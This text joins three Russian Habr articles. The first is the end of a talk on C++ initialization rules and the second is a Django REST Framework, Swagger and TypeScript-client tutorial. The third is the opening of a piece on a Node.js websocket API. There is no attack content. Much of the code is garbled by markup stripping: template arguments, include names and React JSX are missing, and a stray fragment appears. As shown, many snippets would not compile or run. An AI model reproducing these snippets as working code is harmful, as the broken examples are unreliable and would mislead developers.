Начнём с того, что `std::initializer_list` — это вектор фиксированного размера с элементами `const`. То есть это тип, у него есть функции `begin` и `end`, которые возвращают итераторы, есть собственный тип итератора, и чтобы его использовать, нужно включать специальный заголовок. Поскольку элементы `std::initializer_list` являются `const`, его нельзя перемещать, поэтому, если `T` в коде выше является типом move-only, код не будет выполняться.
Далее, `std::initializer_list` является объектом. Используя его, мы, фактически, создаём и передаём объекты. Как правило, компилятор может это оптимизировать, но с точки зрения семантики мы всё равно имеем дело с лишними объектами.
Несколько месяцев назад в твиттере был опрос: если бы можно было отправиться в прошлое и убрать что-либо из C++, что бы вы убрали? Больше всего голосов получил именно `initializer_list`.
<https://twitter.com/shafikyaghmour/status/1058031143935561728>
Джейсон Тёрнер недавно выступал с полуторачасовым докладом о том, [`как можно исправить initializer_list`](https://youtu.be/sSlmmZMFsXQ). Если вы хотите более подробно познакомиться с этой темой, я очень рекомендую этот доклад.
Давайе разберёмся, как работает новый синтаксис. Он вызывает конструкторы, которые принимают на вход `initializer_list`, и эти вызовы создают много проблем по сравнению с прямой инициализацией в старом синтаксисе. Часто приводят следующий пример:
```
std::vector v(3, 0); // вектор содержит 0, 0, 0
std::vector v{3, 0}; // вектор содержит 3, 0
```
Если вызвать `vector` с двумя аргументами `int` и использовать прямую инициализацию, то выполняется вызов конструктора, который первым аргументом принимает размер вектора, а вторым — значение элемента. На выходе получается вектор из трёх нулей. Если же вместо круглых скобок написать фигурные, то используется `initializer_list` и на выходе получается вектор из двух элементов, 3 и 0.
Есть примеры ещё более странного поведения этого синтаксиса:
```
std::string s(48, 'a'); // "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
std::string s{48, 'a'}; // "0a"
```
В первой строке создаётся строка из 48 символов «а», а во второй строка «0а». Это происходит потому, что конструктор `string` принимает на вход `initializer_list` из символов. 48 является целочисленным значением, поэтому оно преобразуется в символ. В ASCII число 48 — код символа «0». Это очень странно, потому что есть конструктор, принимающий именно такие аргументы, `int` и `char`. Но вместо вызова этого конструктора происходит совершенно неочевидное преобразование. В итоге получается код, который чаще всего ведёт себя не так, как мы ожидаем.
Ещё больше трудностей возникает при использовании шаблонов. Как вы думаете, что возвращает эта программа? Какой здесь размер вектора?
```
template
auto test() {
return std::vector{N};
}
int main () {
return test().size();
}
```
**Скрытый текст**
Мы получим вектор с тремя строками, то есть ответ — 3. Но если `string` заменить на `int`, ответ будет 1, потому что для `std::vector` будет использован `initializer_list`. В зависимости от шаблонного параметра вызывается либо конструктор `initializer_list`, либо другой конструктор. А если вместо `string` или `int` использовать `float`, я и вовсе не знаю, что выйдет. Предсказать поведение такого кода очень сложно, и это создаёт множество неудобств. Например, мы не можем написать emplace функцию, которая работала бы для агрегатных типов с синтаксисом фигурных скобок. В общем, агрегатная инициализиация и синтаксис `{}` не работают с шаблонами.
Теперь давайте разберёмся, что именно делает инициализация списком.
Для агрегатных типов при такой инициализации выполняется агрегатная
инициализация.
Для встроенных типов — прямая инициализация (`{a}`) или
копирующая инициализация (`= {a}`);
А для классов выполняется такая последовательность:
1. Вначале «жадно» выполняется вызов конструктора, который принимает `std::initializer_list`.
Если для этого вызова необходимо сделать неочевидные преобразования — они выполняются.
2. Если подходящего конструктора нет, выполняется обычный
вызов конструктора `()` при помощи разрешения перегрузки.
Для второго шага есть пара исключений.
Исключение 1: при использовании `= {a}`, когда в списке один элемент `a`,
может быть использована инициализация копированием.
Исключение 2: пустые фигурные скобки, `{}`.
Пусть у нас будет тип с конструктором по умолчанию и конструктором, который принимает `initializer_list`.
Что происходит при вызове `Widget widget{}\`?
```
template Typename
struct Widget {
Widget();
Widget(std::initializer\_list);
};
int main() {
Widget widget{}; // какой конструктор будет вызван?
}
```
Мы ожидаем, что произойдёт вызов конструктора, принимающего `initializer_list`, поскольку мы передали ему пустой `initializer_list` в фигурных скобках. На самом деле тут вызывается конструктор по умолчанию. И только когда такого конструктора нет, вызывается конструктор, принимающий `initializer_list`. Если и такого конструктора нет, выполняется инициализация значением. К сожалению, все эти правила необходимо помнить.
Разберём подробнее инициализацию значением при использовании `{}`. Здесь, опять-таки, нужно помнить, что при `Widget() = default` и `Widget() {}` наблюдается разное поведение — об этом мы уже говорили.
`Widget() = default`:
```
struct Widget {
Widget() = default;
int i;
};
int main() {
Widget widget{}; // инициализация значением (нулем), не происходит vexing parse
return widget.i; // возвращает 0
}
```
`Widget() {}`:
```
struct Widget {
Widget() {}; // user-provided конструктор
int i;
};
int main() {
Widget widget{}; // инициализация значением, вызывается дефолтный конструктор
return widget.i; // не инициализирована, возникает UB
}
```
У инициализации списком есть полезное свойство: не допускаются преобразования, сужающие диапазон значений (narrowing conversions). Если для инициализации `int` использовать `double`, это является сужающим преобразованием, и такой код не компилируется:
```
int main() {
int i{2.0}; // ошибка!
}
```
То же самое происходит, если агрегатный объект инициализировать списком элементов `double`. Это нововведение C++11, и оно вызывает больше всего ошибок при обновлении кода, написанного на более старых версиях языка. Это создаёт много работы при поддержке больших объёмов унаследованного кода:
```
struct Widget {
int i;
int j;
};
int main() {
Widget widget = {1.0, 0.0}; // ошибка в С++11 в отличие от C++98/03
}
```
Далее, при инициализации списком можно использовать вложенные фигурные скобки, но, в отличие от агрегатной инициализации, с ними не работает пропуск скобок (brace elision). С одной стороны, использовать вложенные фигурные скобки бывает очень полезно, они вносят ясность. Например, у нас есть `map`. Тогда внешние фигурные скобки инициализируют этот `map`, а внутренние фигурные скобки — его элементы:
```
std::map my\_map {{"abc", 0}, {"def", 1}};
```
Но бывают случаи, когда от этой конструкции только вред. Давайте рассмотрим такой случай:
```
std::vector v1 {"abc", "def"}; // OK
std::vector v2 {{"abc", "def"}}; // ??
```
Напомню, это не агрегатная инициализация, это инициализация списком с `initializer_list`. В первой строке мы используем `initializer_list` из двух строк, поэтому в результате, очевидно, получается вектор из двух строк. А если заключить эти скобки в ещё одну пару фигурных скобок, получается неопределённое поведение. Попробуем разобраться, почему.
Внешний `initializer_list` имеет только один элемент — внутренний `initializer_list`, так что мы получим вектор с одной строкой. Эта строка инициализируется внутренним списком, в котором два `const char*`. Оказывается, у `string` есть конструктор, принимающий на вход итераторы `char` для начала и конца. Так что эти две строки преобразуются в итераторы. Далее выполняется чтение с начала, оно доходит до неинициализированной памяти, и программа падает.
Мораль:
* читайте списки с фигурными скобками снаружи вовнутрь;
* без агрегатного типа пропуск скобок не работает.
Идём дальше. Передача и возврат braced-init-list также является инициализацией копированием списка. Это очень полезное свойство:
```
Widget f1() {
return {3, 0}; // copy-list инициализация возвращаемого значения
}
void f2(Widget);
f2({3, 0}); // copy-list инициализация аргумента
```
Если происходит возврат по значению, то используется инициализация копированием, поэтому при возврате braced-init-list используется инициализация копированием списка. А если передать braced-init-list функции, это также приведёт к инициализации копированием списка.
Конечно, это приводит к некоторым затруднениям в случае со вложенными скобками. На StackOverflow недавно был [замечательный пост](https://stackoverflow.com/q/54504463/), в котором рассматривался один и тот же вызов функции с разными уровнями вложенности. Выяснилось, что результаты на всех уровнях разные. Я не буду вдаваться в подробности, потому что там всё очень сложно, но сам этот факт показателен:
```
#include
struct A {
A() {}
A(const A&) {}
};
struct B {
B(const A&) {}
};
void f(const A&) { std::cout << "A" << std::endl; }
void f(const B&) { std::cout << "B" << std::endl; }
int main() {
A a;
f( {a} ); // A
f( {{a}} ); // ambiguous
f( {{{a}}} ); // B
f({{{{a}}}}); // no matching function
}
```
Улучшения в С++14
=================
Итак, мы прошли все версии до C++11 включительно. Мы обсудили все инициализации прошлых версий, плюс инициализацию списком, которая часто работает по совсем не очевидным правилам. Поговорим теперь о C++14. В нём были исправлены некоторые проблемы, доставшиеся от прошлых версий.
Например, в С++11 у агрегатных классов не могло быть direct member initializers, что вызывало совершенно ненужные затруднения. Выше я уже говорил о том, что direct member initializers очень полезны. Начиная с С++14, у агрегатных классов могут быть direct member initializers:
```
struct Widget {
int i = 0;
int j = 0;
};
Widget widget{1, 2}; // работает начиная с C++14
```
Второе улучшение Николай уже упоминал в программном докладе, оно связано с `auto`. Если в С++11 после `auto` следовал braced-init-list, это всегда приводило к выведению типа `std::initializer_list`:
```
int i = 3; // int
int i(3); // int
int i{3}; // int
int i = {3}; // int
auto i = 3; // int
auto i(3); // int
auto i{3}; // В С++11 — std::initializer_list
auto i = {3}; // В С++11 — std::initializer\_list
```
Такое поведение нежелательно: когда пишут `auto i{3}`, чаще всего имеют ввиду `int`, а не `std::initializer_list`. В С++14 это поведение изменили, и `auto i{3}` теперь читается как `int`. Если же в фигурных скобках в этом примере несколько значений, то такой код не компилируется. Впрочем, `auto i = {3}` всегда читается как `std::initializer_list`. Как видим, здесь всё равно остаётся непоследовательность: при прямой инициализации списка получается `int`, а при копирующей инициализации — `initializer_list`.
```
auto i = 3; // int
auto i(3); // int
auto i{3}; // в С++14 — int, но работает только для списка из одного элемента
auto i = {3}; // так и осталось std::initializer_list
```
Наконец, в C++14 была решена проблема со статической инициализацией, но она была значительно менее важной, чем те, о которых я сейчас рассказал, и останавливаться на ней мы не будем. Если есть желание, об этом можно почитать самостоятельно.
Несмотря на все эти фиксы, в С++14 осталось много проблем с инициализацией списком:
* Не сразу понятно, вызывается ли конструктор, принимающий `std::initializer_list`.
* Сам `std::initializer_list` не работает с move-only типами.
* Синтаксис практичеcки бесполезен для шаблонов, поэтому `emplace` или `make_unique` нельзя использовать для агрегатных типов.
* Есть некоторые неочевидные правила, о которых мы уже говорили:
+ пустые фигурные скобки ведут себя иначе, чем не-пустые;
+ вложенные фигурные скобки ведут себя неочевидным образом;
+ auto работает не всегда очевидным образом.
* Наконец, я еще не рассказал, что инициализация списка совсем не работает с макросами.
Пример про макросы: `assert(Widget(2,3))` выполняется, а `assert(Widget{2,3})` ломает препроцессор. Дело в том, что у макросов есть специальное правило, которое правильно читает запятую внутри круглых скобок, но оно не было обновлено для фигурных скобок. Поэтому запятая в этом примере рассматривается как конец первого аргумента макроса, хотя скобки ещё не закрыты. Это приводит к сбою.
Как правильно инициализировать в C++
====================================
Я могу предложить несколько советов относительно того, как правильно инициализировать значения в С++.
Для простых типов вроде `int` используйте инициализацию копированием, т. е. знак равенства и значение — так делается в большинстве языков программирования, к этому все давно привыкли и это наиболее простой вариант.
Фигурные скобки хороши в других ситуациях: для агрегатной инициализации, для вызова конструкторов, принимающих `std::initializer_list`, и для direct member initializers. В последнем случае мы не можем использовать синтаксис прямой инициализации, поэтому там лучше всего подходят фигурные скобки.
Кроме того, фигурными скобками удобно пользоваться для передачи и возвращения врéменных объектов. При помощи двух пустых фигурных скобок можно быстро сделать инициализацию значения временного объекта.
```
struct Point {
int x = 0;
int y = 0;
};
setPosition(Point{2, 3});
takeWidget(Widget{});
```
Можно даже пропустить имя типа и использовать braced-init-list — это работает только с фигурными скобками.
```
setPosition({2, 3});
takeWidget({});
```
Но если необходимо просто вызвать конструктор, то лично я предпочитаю использовать прямую инициализацию, то есть классический синтаксис. Я прекрасно понимаю, что в этом со мной многие не согласятся — Николай говорил, что предпочитает для этого использовать фигурные скобки. Мне кажется, что круглые скобки более очевидны, поскольку тогда синтаксис такой же, как при вызове функции, и сразу ясно, что выполняется разрешение перегрузки. Все правила здесь очевидны, не надо думать, есть тут или нет `initializer_list`. Мне этот подход кажется более простым и ясным: когда смотришь на такой код, сразу ясно, что он делает.
Ещё раз списком:
* `= value` для простых типов
* `= {args}` и `= {}`:
+ для агрегатной инициализации
+ для конструкторов от `std::initializer_list`
+ для direct member initialisation (с ними нельзя использовать `(args)`)
* `{args}` и `{}` для передачи и возврата врéменных объектов
* `(args)` для вызова конструкторов
Правда, при использовании `(args)` мы сталкиваемся с проблемой vexing parse. Но на этот счёт есть ещё один совет. Герб Саттер в 2013 году [написал статью](https://herbsutter.com/2013/08/12/gotw-94-solution-aaa-style-almost-always-auto/), в которой говорилось, что при инициализации нового объекта практически всегда следует использовать `auto`. Мне этот совет кажется правильным, потому в этом случае все переменные всегда инициализированы: нельзя написать `auto i;` — это вызовет ошибку компиляции. Если же нужно указать тип, это можно сделать в правой части выражения:
```
auto widget = Widget(2, 3);
```
Смысл тот же, но так вы никогда не забудете инициализировать переменную. Больше того, если следовать этой рекомендации и писать тип в правой части выражения, то не возникает проблемы vexing parse:
```
auto thingy = Thingy();
```
Изначально это правило формулировалось как «почти всегда auto» («almost always auto», AAA), поскольку в С++11 и С++14 при таком написании код не всегда компилировался, как, например, в случае с таким `std::atomic`:
```
auto count = std::atomic(0); // C++11/14: ошибка
// std::atomic is neither copyable nor movable
```
Дело в том, что atomic нельзя перемещать и копировать. Несмотря на то, что в нашем синтаксисе никакого копирования и перемещения не происходит, всё равно было требование, чтобы использовался соответствующий конструктор, хоть вызова к нему и не происходило. В С++17 эта проблема была решена, было добавлено новое свойство, которое называется гарантированный пропуск копирования (guaranteed copy elision):
```
auto count = std::atomic(0); // C++17: OK, guaranteed copy elision
```
Так что сейчас я советую всегда использовать `auto`. Единственное исключение — это direct member initializers. Элементы класса с помощью `auto` объявлять нельзя.
В С++17 также была добавлена CTAD (class template argument deduction). Оказалось, что у этого свойства есть довольно странные и не всегда очевидные следствия для инициализации. Эту тему уже затрагивал Николай в программном докладе. Кроме того, в прошлом году я выступал с [докладом на CppCon, целиком посвящённым CTAD](https://youtu.be/UDs90b0yjjQ), там обо всём этом рассказано значительно подробнее. По большому счёту, в С++17 ситуация та же, что и в С++11 и С++14, за исключением того, что были исправлены некоторые самые неудобные неисправности. Инициализация списком сейчас работает лучше, чем в прошлых версиях, но, на мой взгляд, в ней ещё многое можно улучшить.
Назначенная инициализация (С++20)
=================================
Теперь давайте поговорим о С++20, то есть о грядущих изменениях. И да, вы угадали, в этом новом стандарте появится ещё один способ инициализации объектов: *назначенная инициализация* (designated initialization):
```
struct Widget {
int a;
int b;
int c;
};
int main() {
Widget widget{.a = 3, .c = 7};
};
```
В сущности, это агрегатная инициализация с другим синтаксисом. В агрегатной инициализации мы указываем элементы в начале множества, и если некоторые пропущены в конце, то для них используется нулевая инициализация. С назначенной инициализацией можно инициализировать любое подмножество элементов, а для всех остальных применяется нулевая инициализация. В приведённом выше примере инициализируются `а` и `с`, а `b` равен нулю.
Важное преимущество такого подхода в том, что здесь, как и при агрегатной инициализации, не может быть неинициализированных переменных. Работает такая инициализация только с агрегатными типами, то есть фактически это другой синтаксис для агрегатной инициализации.
Сделано это было для совместимости с С, и работает так же, как в С99, с некоторыми исключениями:
* в С не нужно соблюдать порядок элементов, то есть в нашем примере можно сначала инициализировать с, а потом а. В С++ так делать нельзя, поскольку вещи конструируются в порядке, в котором они объявлены. :
```
Widget widget{.c = 7, .a = 3}; // ошибка
```
К сожалению, это ограничивает применимость этой конструкции.
* в С++ нельзя эту конструкцию нельзя использовать рекурсивно, то есть нельзя написать `{.c.e = 7};`, хотя можно написать `{.c{.e = 7}}`:
```
Widget widget{.c.e = 7}; // ошибка
```
* в С++ нельзя одновременно использовать назначенную и обычную инициализацию, но лично мне сложно придумать ситуацию, в которой это следовало бы делать:
```
Widget widget{.a = 3, 7}; // ошибка
```
* в С++ этот вид инициализации нельзя использовать с массивами. Но, опять-таки, я не думаю, что это вообще следует делать.
```
int arr[3]{.[1] = 7}; // ошибка
```
Исправления в C++20
===================
Помимо нового вида инициализации в С++20 будут исправлены некоторые вещи из предыдущих версий, и некоторые из этих изменений были предложены мной. Обсудим одно из них ([wg21.link/p1008](https://wg21.link/p1008)).
Когда в С++17 удаляется конструктор по умолчанию, это скорее всего значит, что автор кода хочет запретить создание экземпляров объекта. В агрегатных типах с удалённым конструктором по умолчанию инициализация по умолчанию выдаёт ошибку, но агрегатная инициализация работает, и это позволяет обойти удаление конструктора, сделанное автором класса:
```
struct Widget {
Widget() = delete;
int i;
int j;
};
Widget widget1; // ошибка
Widget widget2{}; // работает в C++17, но станет ошибкой в C++20
```
Это очень странное поведение, чаще всего люди о нём не знают, и это приводит к непредсказуемым последствиям. В С++20 правила будут изменены. При объявлении конструктора тип больше не является агрегатным, так что конструкторы и агрегатная инициализация больше не входят в конфликт друг с другом. Мне кажется, это правильное решение. Если в классе нет объявленного пользователем конструктора, то это агрегатный тип, а если такой конструктор есть, то не агрегатный.
Было также реализовано ещё одно предложенное мной изменение ([wg21.link/p1009](https://wg21.link/p1009)). Braced-init-list можно использовать в выражениях `new`, поэтому часто спрашивают: работают ли они в этих выражениях так же, как при обычной инициализации? Обычно — да, но есть неприятное исключение: braced-init-list не выводит размер в выражениях `new`:
```
double a[]{1, 2, 3}; // OK
double* p = new double[]{1, 2, 3}; // ошибка в C++17, заработает в C++20
```
Об этом просто забыли, когда в С++11 создавали braced-init-list. В С++ это будет исправлено. Вряд ли много людей сталкивалось с этой проблемой, но исправить её полезно для согласованности языка.
Прямая инициализация агрегатных типов (C++20)
=============================================
Наконец, в С++20 будет добавлен ещё один способ инициализации. Я уже говорил о неудобствах инициализации списком, из них в особенности неприятна невозможность использовать её с шаблонами и с макросами. В С++20 это исправят: можно будет использовать прямую инициализацию для агрегатных типов ([wg21.link/p0960](https://wg21.link/p0960)).
```
struct Widget {
int i;
int j;
};
Widget widget(1, 2); // заработает в C++20
```
То есть можно будет писать круглые скобки вместо фигурных для агрегатной инициализации. А это значит, что для агрегатных типов можно будет использовать `emplace` и `make_unique`. Это очень важно при написании библиотек. Вновь напомню: всегда используйте `auto`, то есть предыдущий пример я рекомендовал бы написать следующим образом: *58.11*.
```
struct Widget {
int i;
int j;
};
auto widget = Widget(1, 2);
```
Кроме того, эта новая возможность будет работать с массивами:
```
int arr[3](0, 1, 2);
```
На мой взгляд, это очень важно: назовём это uniform инициализацией 2.0. Вновь будет достигнута некоторая однородность. Если агрегатную инициализацию можно будет выполнять и с фигурными, и с круглыми скобками, то, в сущности, круглые и фигурные скобки будут делать почти одно и то же. Исключение — конструктор `initializer_list`: если необходимо его вызвать, надо использовать фигурные скобки, если нет — круглые. Это позволяет однозначно указать, что именно нам необходимо. Кроме того, фигурные скобки по-прежнему не будут выполнять сужающие преобразования, а круглые — будут. Это делается для однородности с вызовами конструктора.
Итак, вновь повторим мои рекомендации. Всегда используйте direct member initializers. Всегда пользуйтесь `auto`. Для вызова конструктора я предпочитаю direct member initializers — мне кажется, это делает код понятнее. Но я понимаю, что многие придерживаются другого мнения по этому вопросу. Так что в конечном итоге выбор за вами — главное, чтобы вы знали все правила.
Я подвёл итог всему, что мы сегодня обсуждали, в [таблице](http://timur.audio/initialisation-in-c17-the-matrix). Строки в этой таблице — различные типы, а столбцы — синтаксисы инициализации. На этом у меня всё, спасибо большое за внимание.
> Уже совсем скоро, в конце октября, Тимур приедет на [C++ Russia 2019 Piter](https://cppconf-piter.ru/?utm_source=habr&utm_medium=469465&utm_campaign=cpp_piter2019) и выступит с докладом [«Type punning in modern C++»](https://cppconf-piter.ru/2019/spb/talks/ydewyakvq6nsvfm8o5ysx/?utm_source=habr&utm_medium=469465&utm_campaign=cpp_piter2019). Тимур расскажет про новые техники, представленные в С++20, и покажет, как их безопасно использовать, а также разберёт «дыры» в С++ и объяснит, как их можно пофиксить. | https://habr.com/ru/post/469465/ | null | ru | null |
# Руководство по работе с Django REST Framework, Swagger и созданию клиента TypeScript для API
 **Цели:**
* Создать API с помощью Django REST Framework;
* Создать динамическую документацию Swagger;
* Сгенерировать для API код клиента на TypeScript;
* Создать базовое приложение на ReactJS, которое будет использовать сгенерированный код на TypeScript для отображения данных из API.
**Исходный код:**
* [Репозиторий с проектом Django](https://github.com/appliku/drfswagger_tutorial)
* [Репозиторий с проектом React](https://github.com/appliku/react-swagger-api-demo)
**Требования:**
В этом руководстве нам понадобятся конкретные пакеты в случае, если вы не будете использовать шаблон проекта Djangitos:
```
Django==3.2.7
djangorestframework==3.12.4
drf-yasg==1.20.0
django-filter==2.4.0
django-cors-headers==3.8.0
```
**Установка проекта**
Скачайте последний шаблон проекта Djangitos, переименуйте папку проекта и скопируйте локальный .*env*-файл.
```
curl -sSL https://appliku.com/djangitos.zip > djangitos.zip
unzip djangitos.zip
mv djangitos-master drfswagger_tutorial
cd drfswagger_tutorial
cp start.env .env
```
Запустите проект:
```
docker-compose up
```
Примените миграции:
```
docker-compose run web python manage.py migrate
```
Создайте аккаунт суперпользователя:
```
docker-compose run web python manage.py makesuperuser
```
В выводе после последней команды будут логин и пароль администратора, которого вы только что создали. Нечто подобное:
```
admin user not found, creating one
===================================
A superuser was created with email admin@example.com and password xLV9i9D7p8bm
===================================
```
Перейдите на <http://0.0.0.0:8060/admin/> и войдите под этими учетными данными.
**Создание приложения и моделей:**
Давайте создадим приложение, в котором будут наши модели и API.
```
docker-compose run web python manage.py startapp myapi
```
Добавьте приложение в *PROJECT\_APPS* в *djangito/settings.py*:
```
PROJECT_APPS = [
'usermodel',
'ses_sns',
'myapi', # new
]
```
Чтобы проиллюстрировать сложные ситуаций создания API, нам понадобится несколько моделей, поэтому, в качестве примера мы воспользуемся каталогом книг.
У нас есть три модели: *Category, Book, Author*.
Вот код, который будет в *myapi/models.py*:
```
from django.db import models
class Category(models.Model):
title = models.CharField(max_length=255)
def __str__(self):
return self.title
class Meta:
verbose_name = 'category'
verbose_name_plural = 'categories'
ordering = ('title',)
class Author(models.Model):
name = models.CharField(max_length=255)
def __str__(self):
return self.name
class Meta:
verbose_name = 'author'
verbose_name_plural = 'authors'
ordering = ('name',)
class Book(models.Model):
title = models.CharField(max_length=255)
category = models.ForeignKey(Category, on_delete=models.CASCADE)
authors = models.ManyToManyField(Author)
def __str__(self):
return self.title
class Meta:
verbose_name = 'book'
verbose_name_plural = 'books'
ordering = ('title',)
def authors_names(self) -> list:
return [a.name for a in self.authors.all()]
```
Для этих моделей нам понадобится интерфейс администратора, поэтому следующий код мы положим в *myapi/admin.py*:
```
from django.contrib import admin
from . import models
class CategoryAdmin(admin.ModelAdmin):
pass
admin.site.register(models.Category, CategoryAdmin)
class AuthorAdmin(admin.ModelAdmin):
pass
admin.site.register(models.Author, AuthorAdmin)
class BookAdmin(admin.ModelAdmin):
filter_horizontal = ('authors', )
list_display = ('title', 'category',)
admin.site.register(models.Book, BookAdmin)
```
Теперь нам нужно сделать миграции для наших моделей:
```
docker-compose run web python manage.py makemigrations myapi
docker-compose run web python manage.py migrate myapi
```
Теперь мы можем перейти к панели администратора и посмотреть на наши модели: [*http://0.0.0.0:8060/admin/myapi/*](http://0.0.0.0:8060/admin/myapi/)
Создайте несколько объектов для каждой модели, чтобы мы смогли увидеть результат, когда позже будем играться с API.
**Создание API**
Во время создания API мы не будем делать аутентификацию и отложим эту часть, чтобы сосредоточить на документации Swagger и клиентской библиотеке на TypeScript.
Сначала давайте создадим сериализаторы для наших моделей.
Создайте файл *myapi/serializers.py*:
```
from . import models
from rest_framework import serializers
class CategorySerializer(serializers.ModelSerializer):
class Meta:
model = models.Category
fields = ('id', 'title',)
class AuthorSerializer(serializers.ModelSerializer):
class Meta:
model = models.Author
fields = ('id', 'name',)
class StringListSerializer(serializers.ListSerializer):
child = serializers.CharField()
class BookSerializer(serializers.ModelSerializer):
authors_names = StringListSerializer()
class Meta:
model = models.Book
fields = ('id', 'title', 'category', 'authors', 'authors_names',)
```
Я предпочитаю хранить представление API и представления, которые генерируют HTML, в отдельных файлах.
Создаем файл *myapi/api.py*:
```
from rest_framework.generics import ListAPIView
from . import serializers
from . import models
class CategoryListAPIView(ListAPIView):
serializer_class = serializers.CategorySerializer
def get_queryset(self):
return models.Category.objects.all()
class AuthorListAPIView(ListAPIView):
serializer_class = serializers.CategorySerializer
def get_queryset(self):
return models.Author.objects.all()
class BookListAPIView(ListAPIView):
serializer_class = serializers.BookSerializer
def get_queryset(self):
return models.Book.objects.all()
```
Положите эти URL-адреса для нашего API в файл *myapi/urls.py*:
```
from django.urls import path
from . import api
urlpatterns = [
path('category', api.CategoryListAPIView.as_view(), name='api_categories'),
path('authors', api.AuthorListAPIView.as_view(), name='api_authors'),
path('books', api.BookListAPIView.as_view(), name='api_books'),
]
```
Добавьте URL-адреса в *URLConf* в *djangito/urls.py*:
```
from django.contrib import admin
from django.urls import path, include
urlpatterns = [
path('api/', include('myapi.urls')), # new
path('sns/', include('ses_sns.urls')),
path('admin/', admin.site.urls),
path('ckeditor/', include('ckeditor_uploader.urls')),
]
```
Теперь вы можете открыть эндпоинт *books* в браузере и посмотреть, как все работает: <http://0.0.0.0:8060/api/books>
**Документация Swagger**
Давайте создадим динамическую документацию для нашего API.
Для этого давайте добавим URL-адреса в корневой *URLconf* в *djangito/urls.py*:
```
from django.conf.urls import url
from django.contrib import admin
from django.urls import path, include
from django.views.generic import TemplateView
from drf_yasg.views import get_schema_view # new
from drf_yasg import openapi # new
from rest_framework import permissions
schema_view = get_schema_view( # new
openapi.Info(
title="Snippets API",
default_version='v1',
description="Test description",
terms_of_service="https://www.google.com/policies/terms/",
contact=openapi.Contact(email="contact@snippets.local"),
license=openapi.License(name="BSD License"),
),
# url=f'{settings.APP_URL}/api/v3/',
patterns=[path('api/', include('myapi.urls')), ],
public=True,
permission_classes=(permissions.AllowAny,),
)
urlpatterns = [
path( # new
'swagger-ui/',
TemplateView.as_view(
template_name='swaggerui/swaggerui.html',
extra_context={'schema_url': 'openapi-schema'}
),
name='swagger-ui'),
url( # new
r'^swagger(?P\.json|\.yaml)$',
schema\_view.without\_ui(cache\_timeout=0),
name='schema-json'),
path('api/', include('myapi.urls')),
path('sns/', include('ses\_sns.urls')),
path('admin/', admin.site.urls),
path('ckeditor/', include('ckeditor\_uploader.urls')),
]
```
Мы добавили два импорта и два новых URL-адреса. Один для описания схемы в форматах JSON или YAML, а второй для отображения `TemplateView` в удобном интерактивном интерфейсе.
Для *TemplateView* нам понадобится создать шаблон в */templates/swaggerui/swaggerui.html*:
```
Swagger
const ui = SwaggerUIBundle({
url: "{% url "schema-json" ".yaml" %}",
dom\_id: '#swagger-ui',
presets: [
SwaggerUIBundle.presets.apis,
SwaggerUIBundle.SwaggerUIStandalonePreset
],
layout: "BaseLayout",
requestInterceptor: (request) => {
request.headers['X-CSRFToken'] = "{{ csrf\_token }}"
return request;
}
})
```
Попробуйте открыть документацию в браузере: <http://0.0.0.0:8060/swagger-ui/>
Теперь вы видите, что все эндпоинты определены и каждый созданный нами сериализатор, который мы использовали в эндпоинтах API, указан в разделе *Models*.
Давайте подробнее взглянем на эндпоинт *books*:
Благодаря нашим сериализаторам мы видим ожидаемый тип ответа без вызова эндпоинтов.
Обратите особое внимание на поле `authors_names` нашего `BookSerializer` и поле `authors_names` в ответе эндпоинта.
Мы создали метод `authors_names` в модели `Book`, который возвращает список строк, создали дополнительный `StringListSerializer` и создали поле `authors_names` в `BookSerializer`. Нам не нужно указывать `many=True` для определения этого поля сериализатора, поскольку это уже заложено в `ListSerializer` и его `many=True` по умолчанию.
Мы могли бы создать поле лениво, с помощью `authors_names = serializers.SerializerMethodField()`. Однако в таком случае в документации swagger у нас была бы просто строка для этого поля, что не совсем верно. Старайтесь избегать использования `SerializerMethodField`, поскольку у вас не будет контроля над сгенерированной документацией.
Последнее, что нужно посмотреть, это то, как сериализаторы описаны в документации в блоке `Models`:
**Заголовки CORS**
Чтобы наш клиент смог получить доступ к API нам нужно сконфигурировать `django-cors-headers`. Добавьте следующие строки кода в файл *djangito/settings.py*:
```
CORS_ALLOWED_ORIGINS = [
"http://localhost:3000"
]
CORS_EXPOSE_HEADERS = ['Content-Type', 'X-CSRFToken']
CORS_ALLOW_CREDENTIALS = True
```
**Создание приложения React и генерация TypeScript API Client из swagger.json**
Чтобы показать клиентскую библиотеку, давайте создадим очень простое приложение ReactJS.
Для начала удалим предыдущую версию `create-react-app`:
```
npm uninstall -g create-react-app
```
А теперь давайте создадим демо-приложение React:
```
npx create-react-app swagger-api-demo --template typescript
cd swagger-api-demo
```
Глобально установите OpenAPI Typescript Codegen:
```
npm install -g openapi-typescript-codegen
```
И давайте сгенерируем API клиента:
```
wget http://0.0.0.0:8060/swagger.json -O swagger.json && openapi --input ./swagger.json --output ./src/api -c fetch
```
Теперь наш проект React выглядит так:
Для каждой модели в документации Swagger у нас есть файл TypeScript в папке *models*. Эндпоинты нашего API представлены сервисами.
Давайте создадим компонент, который мы будем загружать и рендерить нашу книгу.
Создайте файл *src/BooksList.tsx* в проекте React:
```
import {useEffect, useState} from "react";
import {Book, BooksService} from "./api";
function BookItem(props: Book) {
return
**{props.title}**
*{props.authors\_names.join(', ')}*
;
}
export default function BooksList() {
const [books, setBooks] = useState();
const loadBooks = async () => {
setBooks(await BooksService.booksList());
}
useEffect(() => {
loadBooks();
}, []);
return (
Books:
======
{books && books.map(
book => {
return ;
})}
);
}
```
А затем замените *src/App.tsx* следующим кодом:
```
import React from 'react';
import './App.css';
import BooksList from "./BooksList";
function App() {
return (
);
}
export default App;
```
А теперь в корне проекта React выполните эту команду, чтобы запустить dev-сервер:
```
npm start
```
После нее должно открыться окно браузера. Если не открылось, перейдите на <http://localhost:3000/>.
Как видите, наше приложение React успешно загрузило список книг из нашего API:
---
> Материал подготовлен в рамках курса [«Web-разработчик на Python»](https://otus.pw/fVqo/). Если вам интересно узнать подробнее о формате обучения и программе, познакомиться с преподавателем курса — приглашаем на день открытых дверей онлайн. Регистрация [здесь](https://otus.pw/e0zC/).
>
> | https://habr.com/ru/post/583220/ | null | ru | null |
# Websocket API на nodejs по новому
О чем эта статья?
-----------------
1. [uWebsockets.js](https://github.com/uNetworking/uWebSockets.js/) - высокопроизводительная реализация http/websocket сервера для nodejs
2. [AsyncAPI](https://asyncapi.io/) - спецификация для асинхронного API, с помощью которой можно создать описание Websocket API
3. Простой пример websocket API с использованием библиотеки [wsapix](https://www.npmjs.com/package/wsapix):
* создадим websocket сервер, используя uWebsockets.js
* настроим валидацию получаемых и отправляемых сообщений
* добавим генерацию документации из кода
